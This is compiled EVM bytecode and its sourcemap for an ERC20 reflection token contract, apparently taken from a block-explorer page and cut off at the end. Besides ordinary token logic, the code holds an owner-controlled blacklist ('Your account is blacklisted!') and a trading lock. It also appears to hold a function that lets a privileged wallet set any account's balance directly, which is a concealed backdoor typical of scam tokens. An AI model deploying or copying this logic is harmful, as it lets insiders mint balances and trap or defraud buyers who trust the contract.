005b8383905081101561130e57816005600086868581811061129557611294613290565b5b90506020020160208101906112aa9190613071565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611306906132ee565b915050611272565b50505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113556116ad565b73ffffffffffffffffffffffffffffffffffffffff161461137557600080fd5b61137e81612476565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114546116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d890613383565b60405180910390fd5b8060188190555050565b6114f36116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157790613383565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e790613415565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171c906134a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178c90613539565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118739190612fa2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e7906135cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119579061365d565b60405180910390fd5b600081116119a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199a906136ef565b60405180910390fd5b6119ab610e4f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a1957506119e9610e4f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e0457601660149054906101000a900460ff16611aa857611a3a610e4f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e90613781565b60405180910390fd5b5b601754811115611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae4906137ed565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b915750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc79061387f565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c7d5760185481611c3284610c06565b611c3c919061389f565b10611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7390613967565b60405180910390fd5b5b6000611c8830610c06565b9050600060195482101590506017548210611ca35760175491505b808015611cbd5750601660159054906101000a900460ff16155b8015611d175750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611d2d575060168054906101000a900460ff165b8015611d835750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611dd95750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e0157611de7826121fd565b60004790506000811115611dff57611dfe47612169565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611eab5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f5e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f5d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f6c57600090506120f3565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120175750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561202f57600854600d81905550600954600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120da5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120f257600a54600d81905550600b54600e819055505b5b6120ff84848484612510565b50505050565b600083831115829061214d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121449190612de3565b60405180910390fd5b506000838561215c9190613987565b9050809150509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121d1573d6000803e3d6000fd5b5050565b6000806121e0612546565b90506121f5818461257190919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612235576122346139bb565b5b6040519080825280602002602001820160405280156122635781602001602082028036833780820191505090505b509050308160008151811061227b5761227a613290565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612322573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234691906139ff565b8160018151811061235a57612359613290565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846116b5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612425959493929190613b25565b600060405180830381600087803b15801561243f57600080fd5b505af1158015612453573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b600080612481612546565b90505b6124b7817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61257190919063ffffffff16565b8311156124ef576124d2600a8461257190919063ffffffff16565b92506124e8600a8261257190919063ffffffff16565b9050612484565b600061250482856125bb90919063ffffffff16565b90508092505050919050565b8061251e5761251d612636565b5b612529848484612679565b61253283612844565b806125405761253f61294e565b5b50505050565b6000806000612553612962565b9150915061256a818361257190919063ffffffff16565b9250505090565b60006125b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129c1565b905092915050565b6000808314156125ce5760009050612630565b600082846125dc9190613b7f565b90508284826125eb9190613c08565b1461262b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262290613cab565b60405180910390fd5b809150505b92915050565b6000600d5414801561264a57506000600e54145b1561265457612677565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061268b87612a24565b9550955095509550955095506126e986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ca81612b34565b6127d48483612bf1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128319190612fa2565b60405180910390a3505050505050505050565b6000600c80549050905060005b818110156128e5578273ffffffffffffffffffffffffffffffffffffffff16600c828154811061288457612883613290565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156128d257505061294b565b80806128dd906132ee565b915050612851565b50600c829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b50565b600f54600d81905550601054600e81905550565b600080600060065490506000670de0b6b3a76400009050612996670de0b6b3a764000060065461257190919063ffffffff16565b8210156129b457600654670de0b6b3a76400009350935050506129bd565b81819350935050505b9091565b60008083118290612a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ff9190612de3565b60405180910390fd5b5060008385612a179190613c08565b9050809150509392505050565b6000806000806000806000806000612a418a600d54600e54612c2b565b9250925092506000612a51612546565b90506000806000612a648e878787612cc1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612ace83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612105565b905092915050565b6000808284612ae5919061389f565b905083811015612b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2190613d17565b60405180910390fd5b8091505092915050565b6000612b3e612546565b90506000612b5582846125bb90919063ffffffff16565b9050612ba981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c0682600654612a8c90919063ffffffff16565b600681905550612c2181600754612ad690919063ffffffff16565b6007819055505050565b600080600080612c576064612c49888a6125bb90919063ffffffff16565b61257190919063ffffffff16565b90506000612c816064612c73888b6125bb90919063ffffffff16565b61257190919063ffffffff16565b90506000612caa82612c9c858c612a8c90919063ffffffff16565b612a8c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612cda85896125bb90919063ffffffff16565b90506000612cf186896125bb90919063ffffffff16565b90506000612d0887896125bb90919063ffffffff16565b90506000612d3182612d238587612a8c90919063ffffffff16565b612a8c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d84578082015181840152602081019050612d69565b83811115612d93576000848401525b50505050565b6000601f19601f8301169050919050565b6000612db582612d4a565b612dbf8185612d55565b9350612dcf818560208601612d66565b612dd881612d99565b840191505092915050565b60006020820190508181036000830152612dfd8184612daa565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e3a82612e0f565b9050919050565b612e4a81612e2f565b8114612e5557600080fd5b50565b600081359050612e6781612e41565b92915050565b6000819050919050565b612e8081612e6d565b8114612e8b57600080fd5b50565b600081359050612e9d81612e77565b92915050565b60008060408385031215612eba57612eb9612e05565b5b6000612ec885828601612e58565b9250506020612ed985828601612e8e565b9150509250929050565b60008115159050919050565b612ef881612ee3565b82525050565b6000602082019050612f136000830184612eef565b92915050565b6000819050919050565b6000612f3e612f39612f3484612e0f565b612f19565b612e0f565b9050919050565b6000612f5082612f23565b9050919050565b6000612f6282612f45565b9050919050565b612f7281612f57565b82525050565b6000602082019050612f8d6000830184612f69565b92915050565b612f9c81612e6d565b82525050565b6000602082019050612fb76000830184612f93565b92915050565b600080600060608486031215612fd657612fd5612e05565b5b6000612fe486828701612e58565b9350506020612ff586828701612e58565b925050604061300686828701612e8e565b9150509250925092565b600060ff82169050919050565b61302681613010565b82525050565b6000602082019050613041600083018461301d565b92915050565b61305081612e2f565b82525050565b600060208201905061306b6000830184613047565b92915050565b60006020828403121561308757613086612e05565b5b600061309584828501612e58565b91505092915050565b6130a781612ee3565b81146130b257600080fd5b50565b6000813590506130c48161309e565b92915050565b6000602082840312156130e0576130df612e05565b5b60006130ee848285016130b5565b91505092915050565b60006020828403121561310d5761310c612e05565b5b600061311b84828501612e8e565b91505092915050565b6000806000806080858703121561313e5761313d612e05565b5b600061314c87828801612e8e565b945050602061315d87828801612e8e565b935050604061316e87828801612e8e565b925050606061317f87828801612e8e565b91505092959194509250565b600080fd5b600080fd5b600080fd5b60008083601f8401126131b0576131af61318b565b5b8235905067ffffffffffffffff8111156131cd576131cc613190565b5b6020830191508360208202830111156131e9576131e8613195565b5b9250929050565b60008060006040848603121561320957613208612e05565b5b600084013567ffffffffffffffff81111561322757613226612e0a565b5b6132338682870161319a565b93509350506020613246868287016130b5565b9150509250925092565b6000806040838503121561326757613266612e05565b5b600061327585828601612e58565b925050602061328685828601612e58565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132f982612e6d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561332c5761332b6132bf565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061336d602083612d55565b915061337882613337565b602082019050919050565b6000602082019050818103600083015261339c81613360565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133ff602683612d55565b915061340a826133a3565b604082019050919050565b6000602082019050818103600083015261342e816133f2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613491602483612d55565b915061349c82613435565b604082019050919050565b600060208201905081810360008301526134c081613484565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613523602283612d55565b915061352e826134c7565b604082019050919050565b6000602082019050818103600083015261355281613516565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006135b5602583612d55565b91506135c082613559565b604082019050919050565b600060208201905081810360008301526135e4816135a8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613647602383612d55565b9150613652826135eb565b604082019050919050565b600060208201905081810360008301526136768161363a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136d9602983612d55565b91506136e48261367d565b604082019050919050565b60006020820190508181036000830152613708816136cc565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061376b603f83612d55565b91506137768261370f565b604082019050919050565b6000602082019050818103600083015261379a8161375e565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137d7601c83612d55565b91506137e2826137a1565b602082019050919050565b60006020820190508181036000830152613806816137ca565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613869602383612d55565b91506138748261380d565b604082019050919050565b600060208201905081810360008301526138988161385c565b9050919050565b60006138aa82612e6d565b91506138b583612e6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138ea576138e96132bf565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613951602383612d55565b915061395c826138f5565b604082019050919050565b6000602082019050818103600083015261398081613944565b9050919050565b600061399282612e6d565b915061399d83612e6d565b9250828210156139b0576139af6132bf565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506139f981612e41565b92915050565b600060208284031215613a1557613a14612e05565b5b6000613a23848285016139ea565b91505092915050565b6000819050919050565b6000613a51613a4c613a4784613a2c565b612f19565b612e6d565b9050919050565b613a6181613a36565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a9c81612e2f565b82525050565b6000613aae8383613a93565b60208301905092915050565b6000602082019050919050565b6000613ad282613a67565b613adc8185613a72565b9350613ae783613a83565b8060005b83811015613b18578151613aff8882613aa2565b9750613b0a83613aba565b925050600181019050613aeb565b5085935050505092915050565b600060a082019050613b3a6000830188612f93565b613b476020830187613a58565b8181036040830152613b598186613ac7565b9050613b686060830185613047565b613b756080830184612f93565b9695505050505050565b6000613b8a82612e6d565b9150613b9583612e6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613bce57613bcd6132bf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c1382612e6d565b9150613c1e83612e6d565b925082613c2e57613c2d613bd9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c95602183612d55565b9150613ca082613c39565b604082019050919050565b60006020820190508181036000830152613cc481613c88565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d01601b83612d55565b9150613d0c82613ccb565b602082019050919050565b60006020820190508181036000830152613d3081613cf4565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c1281b19e23b8ab6891223162823bb0bcf6fc81a95143603bd906f0633ff47d64736f6c634300080b0033
Deployed Bytecode Sourcemap
4170:14556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6720:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7645:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5558:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6997:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7846:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5865:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6906:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5606:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13205:321;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18108:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12962:235;;;;;;;;;;;;;:::i;:::-;;7100:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1657:148;;;;;;;;;;;;;:::i;:::-;;18248:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5755:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1443:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12609:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5810:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6811:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17917:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17574:291;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7246:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5261:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12718:236;;;;;;;;;;;;;:::i;:::-;;18487:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13948:181;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7453:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18364:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1813:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6720:83;6757:13;6790:5;;;;;;;;;;;;;;;;;6783:12;;6720:83;:::o;7645:193::-;7747:4;7769:39;7778:12;:10;:12::i;:::-;7792:7;7801:6;7769:8;:39::i;:::-;7826:4;7819:11;;7645:193;;;;:::o;5558:41::-;;;;;;;;;;;;;:::o;6997:95::-;7050:7;4723:18;7070:14;;6997:95;:::o;7846:446::-;7978:4;7995:36;8005:6;8013:9;8024:6;7995:9;:36::i;:::-;8042:220;8065:6;8086:12;:10;:12::i;:::-;8113:138;8169:6;8113:138;;;;;;;;;;;;;;;;;:11;:19;8125:6;8113:19;;;;;;;;;;;;;;;:33;8133:12;:10;:12::i;:::-;8113:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8042:8;:220::i;:::-;8280:4;8273:11;;7846:446;;;;;:::o;5865:53::-;;;;:::o;6906:83::-;6947:5;4389:1;6965:16;;6906:83;:::o;5606:28::-;;;;;;;;;;;;;:::o;13205:321::-;13272:5;13258:4;:11;13263:5;13258:11;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;;;;;;13288:11;13300:15;:22;;;;13288:34;;13338:6;13347:1;13338:10;;13333:178;13354:3;13350:1;:7;13333:178;;;13441:12;;13410:7;:27;13418:15;13434:1;13418:18;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13410:27;;;;;;;;;;;;;;;;:43;;13409:90;;13472:7;:27;13480:15;13496:1;13480:18;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13472:27;;;;;;;;;;;;;;;;13409:90;;;13457:12;;13409:90;13379:7;:27;13387:15;13403:1;13387:18;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13379:27;;;;;;;;;;;;;;;:120;;;;13359:3;;;;;:::i;:::-;;;;13333:178;;;;13247:279;13205:321;:::o;18108:101::-;1580:12;:10;:12::i;:::-;1570:22;;:6;;;;;;;;;;:22;;;1562:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18189:12:::1;18175:11;::::0;:26:::1;;;;;;;;;;;;;;;;;;18108:101:::0;:::o;12962:235::-;13028:19;;;;;;;;;;;13012:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;13067:17;;;;;;;;;;;13051:33;;:12;:10;:12::i;:::-;:33;;;13012:72;13004:81;;;;;;13096:26;13125:21;13096:50;;13157:32;13170:18;13157:12;:32::i;:::-;12993:204;12962:235::o;7100:138::-;7166:7;7193:37;7213:7;:16;7221:7;7213:16;;;;;;;;;;;;;;;;7193:19;:37::i;:::-;7186:44;;7100:138;;;:::o;1657:148::-;1580:12;:10;:12::i;:::-;1570:22;;:6;;;;;;;;;;:22;;;1562:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1764:1:::1;1727:40;;1748:6;::::0;::::1;;;;;;;;1727:40;;;;;;;;;;;;1795:1;1778:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1657:148::o:0;18248:108::-;1580:12;:10;:12::i;:::-;1570:22;;:6;;;;;;;;;;:22;;;1562:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18337:11:::1;18322:12;:26;;;;18248:108:::0;:::o;5755:48::-;;;;:::o;1443:79::-;1481:7;1508:6;;;;;;;;;;;1501:13;;1443:79;:::o;12609:101::-;1580:12;:10;:12::i;:::-;1570:22;;:6;;;;;;;;;;:22;;;1562:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12690:12:::1;12676:11;;:26;;;;;;;;;;;;;;;;;;12609:101:::0;:::o;5810:48::-;;;;:::o;6811:87::-;6850:13;6883:7;;;;;;;;;;;;;;;;;6876:14;;6811:87;:::o;17917:139::-;1580:12;:10;:12::i;:::-;1570:22;;:6;;;;;;;;;;:22;;;1562:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18030:18:::1;18008:19;:40;;;;17917:139:::0;:::o;17574:291::-;1580:12;:10;:12::i;:::-;1570:22;;:6;;;;;;;;;;:22;;;1562:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17725:13:::1;17708:14;:30;;;;17767:14;17749:15;:32;;;;17807:11;17792:12;:26;;;;17845:12;17829:13;:28;;;;17574:291:::0;;;;:::o;7246:199::-;7351:4;7373:42;7383:12;:10;:12::i;:::-;7397:9;7408:6;7373:9;:42::i;:::-;7433:4;7426:11;;7246:199;;;;:::o;5261:36::-;;;;;;;;;;;;;;;;;;;;;;:::o;12718:236::-;12784:19;;;;;;;;;;;12768:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;12823:17;;;;;;;;;;;12807:33;;:12;:10;:12::i;:::-;:33;;;12768:72;12760:81;;;;;;12852:23;12878:24;12896:4;12878:9;:24::i;:::-;12852:50;;12913:33;12930:15;12913:16;:33::i;:::-;12749:205;12718:236::o;18487:234::-;1580:12;:10;:12::i;:::-;1570:22;;:6;;;;;;;;;;:22;;;1562:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18604:9:::1;18600:114;18623:8;;:15;;18619:1;:19;18600:114;;;18694:8;18660:18;:31;18679:8;;18688:1;18679:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;18660:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;18640:3;;;;;:::i;:::-;;;;18600:114;;;;18487:234:::0;;;:::o;13948:181::-;14049:17;;;;;;;;;;;14033:33;;:12;:10;:12::i;:::-;:33;;;14025:42;;;;;;14096:25;14107:13;14096:10;:25::i;:::-;14078:7;:15;14086:6;14078:15;;;;;;;;;;;;;;;:43;;;;13948:181;;:::o;7453:184::-;7570:7;7602:11;:18;7614:5;7602:18;;;;;;;;;;;;;;;:27;7621:7;7602:27;;;;;;;;;;;;;;;;7595:34;;7453:184;;;;:::o;18364:115::-;1580:12;:10;:12::i;:::-;1570:22;;:6;;;;;;;;;;:22;;;1562:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18458:13:::1;18441:14;:30;;;;18364:115:::0;:::o;1813:244::-;1580:12;:10;:12::i;:::-;1570:22;;:6;;;;;;;;;;:22;;;1562:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1922:1:::1;1902:22;;:8;:22;;;;1894:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2012:8;1983:38;;2004:6;::::0;::::1;;;;;;;;1983:38;;;;;;;;;;;;2041:8;2032:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1813:244:::0;:::o;202:98::-;255:7;282:10;275:17;;202:98;:::o;8995:369::-;9139:1;9122:19;;:5;:19;;;;9114:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9220:1;9201:21;;:7;:21;;;;9193:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9302:6;9272:11;:18;9284:5;9272:18;;;;;;;;;;;;;;;:27;9291:7;9272:27;;;;;;;;;;;;;;;:36;;;;9340:7;9324:32;;9333:5;9324:32;;;9349:6;9324:32;;;;;;:::i;:::-;;;;;;;;8